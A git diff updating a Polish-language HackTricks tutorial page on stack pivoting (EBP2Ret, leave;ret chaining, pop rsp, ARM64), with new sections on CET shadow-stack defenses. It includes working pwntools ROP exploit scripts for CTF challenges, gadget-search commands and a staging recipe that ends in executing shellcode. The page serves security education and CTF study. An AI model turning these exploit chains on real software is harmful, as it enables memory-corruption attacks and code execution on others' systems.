diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index a51be17d7..59b3f2616 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -4,59 +4,63 @@ ## Podstawowe informacje -Ta technika wykorzystuje zdolność do manipulacji **wskaźnikiem bazowym (EBP)** w celu łączenia wykonania wielu funkcji poprzez staranne użycie rejestru EBP oraz sekwencji instrukcji **`leave; ret`**. +Technika ta wykorzystuje zdolność do manipulacji **Wskaźnikiem Bazowym (EBP/RBP)** w celu łączenia wykonania wielu funkcji poprzez staranne użycie wskaźnika ramki oraz sekwencji instrukcji **`leave; ret`**. -Przypominając, **`leave`** zasadniczo oznacza: +Przypominając, na x86/x86-64 **`leave`** jest równoważne z: ``` -mov ebp, esp -pop ebp +mov rsp, rbp ; mov esp, ebp on x86 +pop rbp ; pop ebp on x86 ret ``` -I jako że **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu. +I jako że zapisany **EBP/RBP znajduje się na stosie** przed zapisanym EIP/RIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu. + +> Uwagi +> - W 64-bit, zamień EBP→RBP i ESP→RSP. Semantyka jest taka sama. +> - Niektóre kompilatory pomijają wskaźnik ramki (zobacz „EBP może nie być używane”). W takim przypadku `leave` może nie wystąpić i ta technika nie zadziała. ### EBP2Ret -Ta technika jest szczególnie przydatna, gdy możesz **zmienić rejestr EBP, ale nie masz bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania. +Ta technika jest szczególnie przydatna, gdy możesz **zmienić zapisany EBP/RBP, ale nie masz bezpośredniego sposobu na zmianę EIP/RIP**. Wykorzystuje zachowanie epilogu funkcji. -Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stos, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty, aby uwzględnić operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja `pop` zmniejsza ESP o 4, **efektywnie wskazując na adres przechowywany przez atakującego.**\ -Zauważ, że **musisz znać 2 adresy**: Ten, na który ESP ma wskoczyć, gdzie będziesz musiał zapisać adres, na który wskazuje ESP. +Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode/łańcucha ROP (plus 8 bajtów na amd64 / 4 bajty na x86, aby uwzględnić `pop`), możesz pośrednio kontrolować RIP. Gdy funkcja zwraca, `leave` ustawia RSP na skonstruowaną lokalizację, a następny `pop rbp` zmniejsza RSP, **skutecznie wskazując na adres przechowywany przez atakującego tam**. Następnie `ret` użyje tego adresu. + +Zauważ, że **musisz znać 2 adresy**: adres, na który ma wskazywać ESP/RSP, oraz wartość przechowywaną pod tym adresem, którą `ret` będzie konsumować. #### Budowa Exploita -Najpierw musisz znać **adres, w którym możesz zapisać dowolne dane/adresy**. ESP będzie wskazywać tutaj i **wykona pierwsze `ret`**. +Najpierw musisz znać **adres, w którym możesz zapisać dowolne dane/adresy**. RSP będzie wskazywał tutaj i **skonsumuje pierwszy `ret`**. -Następnie musisz znać adres używany przez `ret`, który **wykona dowolny kod**. Możesz użyć: +Następnie musisz wybrać adres używany przez `ret`, który **przekroczy wykonanie**. Możesz użyć: - Ważnego [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu. -- Adresu **`system()`**, po którym następują **4 bajty śmieci** i adres `"/bin/sh"` (x86 bits). -- Adresu gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)), po którym następuje **shellcode** do wykonania. -- Jakiegoś łańcucha [**ROP**](../rop-return-oriented-programing/index.html) +- Adresu **`system()`**, po którym następuje odpowiedni powrót i argumenty (na x86: cel `ret` = `&system`, następnie 4 bajty śmieci, potem `&"/bin/sh"`). +- Adresu gadżetu **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)), po którym następuje inline shellcode. +- Łańcucha [**ROP**](../rop-return-oriented-programing/index.html) umieszczonego w zapisywalnej pamięci. -Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Możliwe byłoby wykorzystanie tych 4B do ustawienia **drugiego fałszywego EBP** i kontynuowania kontroli nad wykonaniem. +Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanym obszarze musi być **miejsce na `pop ebp/rbp`** z `leave` (8B na amd64, 4B na x86). Możesz wykorzystać te bajty, aby ustawić **drugi fałszywy EBP** i utrzymać kontrolę po zwrocie z pierwszego wywołania. #### Exploit Off-By-One -Istnieje specyficzna wariant tej techniki znana jako "Off-By-One Exploit". Jest używana, gdy możesz **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z **`ret`**, musi dzielić pierwsze trzy bajty z EBP, co pozwala na podobną manipulację w bardziej ograniczonych warunkach.\ -Zazwyczaj modyfikowany jest bajt 0x00, aby skoczyć jak najdalej. +Istnieje wariant używany, gdy możesz **zmodyfikować tylko najmniej znaczący bajt zapisanego EBP/RBP**. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z **`ret`**, musi dzielić pierwsze trzy/pięć bajtów z oryginalnym EBP/RBP, aby 1-bajtowe nadpisanie mogło go przekierować. Zwykle niski bajt (offset 0x00) jest zwiększany, aby skoczyć jak najdalej w obrębie pobliskiej strony/wyjustowanego obszaru. -Ponadto, powszechne jest używanie RET sled w stosie i umieszczanie prawdziwego łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskazuje wewnątrz RET SLED, a końcowy łańcuch ROP jest wykonywany. +Często stosuje się również RET sled na stosie i umieszcza prawdziwy łańcuch ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy RSP wskazuje wewnątrz sled i końcowy łańcuch ROP jest wykonywany. -### **Łańcuchowanie EBP** +### Łańcuchowanie EBP -Dlatego umieszczając kontrolowany adres w wpisie `EBP` stosu i adres do `leave; ret` w `EIP`, możliwe jest **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**. +Umieszczając kontrolowany adres w zapisanym slocie `EBP` na stosie i gadżet `leave; ret` w `EIP/RIP`, możliwe jest **przeniesienie `ESP/RSP` do adresu kontrolowanego przez atakującego**. -Teraz **`ESP`** jest kontrolowane, wskazując na pożądany adres, a następna instrukcja do wykonania to `RET`. Aby to wykorzystać, można umieścić w kontrolowanym miejscu ESP to: +Teraz `RSP` jest kontrolowane, a następna instrukcja to `ret`. Umieść w kontrolowanej pamięci coś takiego jak: -- **`&(next fake EBP)`** -> Załaduj nowy EBP z powodu `pop ebp` z instrukcji `leave` -- **`system()`** -> Wywołane przez `ret` -- **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie ponownie -- **`&("/bin/sh")`**-> Parametr dla `system` +- `&(next fake EBP)` -> Ładowane przez `pop ebp/rbp` z `leave`. +- `&system()` -> Wywoływane przez `ret`. +- `&(leave;ret)` -> Po zakończeniu `system` przenosi RSP do następnego fałszywego EBP i kontynuuje. +- `&("/bin/sh")` -> Argument dla `system`. -W zasadzie w ten sposób można łączyć kilka fałszywych EBP, aby kontrolować przepływ programu. +W ten sposób możliwe jest łańcuchowanie kilku fałszywych EBP, aby kontrolować przepływ programu. -To jest jak [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ale bardziej skomplikowane, bez oczywistych korzyści, ale może być interesujące w niektórych przypadkach brzegowych. +To jest jak [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ale bardziej złożone i użyteczne tylko w skrajnych przypadkach. -Ponadto, oto [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony: +Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony: ```python from pwn import * @@ -72,7 +76,7 @@ POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( -0x0, # rbp (could be the address of anoter fake RBP) +0x0, # rbp (could be the address of another fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, @@ -81,23 +85,24 @@ POP_RSI_R15, elf.sym['winner'] ) -payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) +payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP) payload += flat( -buffer, # Load leak address in RBP -LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it +buffer, # Load leaked address in RBP +LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` +> wskazówka dotycząca wyrównania amd64: System V ABI wymaga 16-bajtowego wyrównania stosu w miejscach wywołań. Jeśli twoja łańcuch wywołuje funkcje takie jak `system`, dodaj gadżet wyrównujący (np. `ret`, lub `sub rsp, 8 ; ret`) przed wywołaniem, aby utrzymać wyrównanie i uniknąć awarii `movaps`. + ## EBP może nie być używane -Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarka jest kompilowana z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, w związku z tym, każdy exploit działający poprzez kontrolowanie EBP zasadniczo nie powiedzie się, ponieważ nie ma rzeczywistego efektu.\ -Dzieje się tak, ponieważ **prolog i epilog zmieniają się**, jeśli binarka jest zoptymalizowana. +Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarka jest kompilowana z pewnymi optymalizacjami lub z pominięciem wskaźnika ramki, **EBP/RBP nigdy nie kontroluje ESP/RSP**. Dlatego każdy exploit działający poprzez kontrolowanie EBP/RBP zakończy się niepowodzeniem, ponieważ prolog/epilog nie przywraca z wskaźnika ramki. -- **Nieoptymalizowane:** +- Nieoptymalizowane / używany wskaźnik ramki: ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp @@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` -- **Optymalizowane:** +- Optymalizowane / wskaźnik ramki pominięty: ```bash -push %ebx # save ebx +push %ebx # save callee-saved register sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size -pop %ebx # restore ebx +pop %ebx # restore ret # return ``` +Na amd64 często zobaczysz `pop rbp ; ret` zamiast `leave ; ret`, ale jeśli wskaźnik ramki jest całkowicie pominięty, to nie ma epilogu opartego na `rbp`, przez który można by przejść. + ## Inne sposoby kontrolowania RSP -### **`pop rsp`** gadget +### gadżet `pop rsp` -[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **`pop rsp` gadget** i występował **leak ze stosu**: +[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **gadżet `pop rsp`** i był **leak ze stosu**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments @@ -167,7 +174,7 @@ pause() p.sendline(payload) print(p.recvline()) ``` -### xchg \, rsp gadget +### xchg , rsp gadget ``` pop <=== return pointer @@ -181,20 +188,67 @@ Sprawdź technikę ret2esp tutaj: ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} -## Odniesienia i inne przykłady +### Szybkie znajdowanie gadżetów pivot -- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) -- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) -- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) -- 64 bity, exploatacja off by one z łańcuchem rop zaczynającym się od ret sled -- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) -- 64 bity, brak relro, canary, nx i pie. Program umożliwia wyciek dla stosu lub pie i WWW dla qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby stworzyć wieczną pętlę, nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Nadużywając tego "wiecznego" zapisu, zapisuje się łańcuch ROP w .bss i kończy wywołując go, pivotując z RBP. +Użyj swojego ulubionego narzędzia do wyszukiwania gadżetów, aby znaleźć klasyczne prymitywy pivot: + +- `leave ; ret` w funkcjach lub w bibliotekach +- `pop rsp` / `xchg rax, rsp ; ret` +- `add rsp, ; ret` (lub `add esp, ; ret` na x86) + +Przykłady: +```bash +# Ropper +ropper --file ./vuln --search "leave; ret" +ropper --file ./vuln --search "pop rsp" +ropper --file ./vuln --search "xchg rax, rsp ; ret" + +# ROPgadget +ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" +``` +### Klasyczny wzór stagingu pivotu + +Robustna strategia pivotu używana w wielu CTF/eksploity: + +1) Użyj małego początkowego przepełnienia, aby wywołać `read`/`recv` do dużego zapisywalnego obszaru (np. `.bss`, sterta lub mapowana pamięć RW) i umieść tam pełny łańcuch ROP. +2) Wróć do gadżetu pivotu (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`), aby przenieść RSP do tego obszaru. +3) Kontynuuj z zaplanowanym łańcuchem (np. wyciek libc, wywołanie `mprotect`, następnie `read` shellcode, a potem skok do niego). + +## Nowoczesne zabezpieczenia, które łamią pivotowanie stosu (CET/Shadow Stack) + +Nowoczesne procesory x86 i systemy operacyjne coraz częściej wdrażają **CET Shadow Stack (SHSTK)**. Przy włączonym SHSTK, `ret` porównuje adres powrotu na normalnym stosie z chronionym sprzętowo stosie cieniowym; jakiekolwiek niezgodności powodują błąd ochrony kontrolnej i kończą proces. Dlatego techniki takie jak EBP2Ret/leave;ret oparte na pivotach będą się zawieszać, gdy tylko pierwszy `ret` zostanie wykonany z pivotowanego stosu. + +- Dla tła i głębszych szczegółów zobacz: + +{{#ref}} +../common-binary-protections-and-bypasses/cet-and-shadow-stack.md +{{#endref}} + +- Szybkie kontrole na Linuxie: +```bash +# 1) Is the binary/toolchain CET-marked? +readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)' + +# 2) Is the CPU/kernel capable? +grep -E 'user_shstk|ibt' /proc/cpuinfo + +# 3) Is SHSTK active for this process? +grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss) + +# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags +(gdb) checksec +``` +- Notatki do laboratoriów/CTF: +- Niektóre nowoczesne dystrybucje włączają SHSTK dla binarnych plików z włączonym CET, gdy dostępne jest wsparcie sprzętowe i glibc. W przypadku kontrolowanego testowania w VM, SHSTK można wyłączyć systemowo za pomocą parametru uruchamiania jądra `nousershstk`, lub selektywnie włączyć za pomocą tuningu glibc podczas uruchamiania (zobacz odniesienia). Nie wyłączaj zabezpieczeń na celach produkcyjnych. +- Techniki oparte na JOP/COOP lub SROP mogą nadal być wykonalne na niektórych celach, ale SHSTK szczególnie łamie `ret`-based pivots. + +- Uwaga dotycząca Windows: Windows 10+ udostępnia tryb użytkownika, a Windows 11 dodaje tryb jądra „Ochrona stosu wymuszona sprzętowo” opartą na stosach cieniowych. Procesy zgodne z CET zapobiegają pivotowaniu stosu/ROP przy `ret`; deweloperzy muszą się zgodzić za pomocą CETCOMPAT i powiązanych polityk (zobacz odniesienie). ## ARM64 -W ARM64, **prologi i epilogi** funkcji **nie przechowują i nie odzyskują rejestru SP** w stosie. Co więcej, instrukcja **`RET`** nie zwraca do adresu wskazywanego przez SP, ale **do adresu wewnątrz `x30`**. +W ARM64, **prolog i epilog** funkcji **nie przechowują ani nie pobierają rejestru SP** na stosie. Ponadto, instrukcja **`RET`** nie zwraca do adresu wskazywanego przez SP, ale **do adresu wewnątrz `x30`**. -Dlatego, domyślnie, nadużywając epilogu, **nie będziesz w stanie kontrolować rejestru SP** przez nadpisanie danych wewnątrz stosu. A nawet jeśli uda ci się kontrolować SP, nadal potrzebujesz sposobu na **kontrolowanie rejestru `x30`**. +Dlatego, domyślnie, po prostu nadużywając epilogu **nie będziesz w stanie kontrolować rejestru SP** przez nadpisanie danych wewnątrz stosu. A nawet jeśli uda ci się kontrolować SP, nadal potrzebujesz sposobu na **kontrolowanie rejestru `x30`**. - prolog @@ -213,7 +267,7 @@ ret ``` > [!OSTRZEŻENIE] -> Sposobem na wykonanie czegoś podobnego do pivotowania stosu w ARM64 byłoby być w stanie **kontrolować `SP`** (poprzez kontrolowanie jakiegoś rejestru, którego wartość jest przekazywana do `SP` lub ponieważ z jakiegoś powodu `SP` bierze swój adres ze stosu i mamy przepełnienie) i następnie **nadużyć epilogu**, aby załadować rejestr **`x30`** z **kontrolowanego `SP`** i **`RET`** do niego. +> Sposobem na wykonanie czegoś podobnego do pivotowania stosu w ARM64 byłoby być w stanie **kontrolować `SP`** (poprzez kontrolowanie jakiegoś rejestru, którego wartość jest przekazywana do `SP` lub ponieważ z jakiegoś powodu `SP` pobiera swój adres ze stosu i mamy przepełnienie) i następnie **nadużyć epilogu**, aby załadować rejestr **`x30`** z **kontrolowanego `SP`** i **`RET`** do niego. Również na następnej stronie możesz zobaczyć odpowiednik **Ret2esp w ARM64**: @@ -221,4 +275,15 @@ Również na następnej stronie możesz zobaczyć odpowiednik **Ret2esp w ARM64* ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} +## Odniesienia + +- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) +- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) +- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) +- 64 bity, exploatacja off by one z łańcuchem rop zaczynającym się od ret sled +- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) +- 64 bity, brak relro, canary, nx i pie. Program udostępnia leak dla stosu lub pie i WWW dla qword. Najpierw uzyskaj leak stosu i użyj WWW, aby wrócić i uzyskać leak pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Nadużywając tego "wiecznego" zapisu, zapisuje się łańcuch ROP w .bss i kończy wywołując go, pivotując z RBP. +- Dokumentacja jądra Linux: Technologia egzekwowania przepływu kontrolnego (CET) Shadow Stack — szczegóły dotyczące SHSTK, flag `nousershstk`, `/proc/$PID/status` i włączania za pomocą `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html +- Microsoft Learn: Ochrona stosu wymuszona sprzętowo w trybie jądra (stosy cieniowe CET w Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection + {{#include ../../banners/hacktricks-training.md}}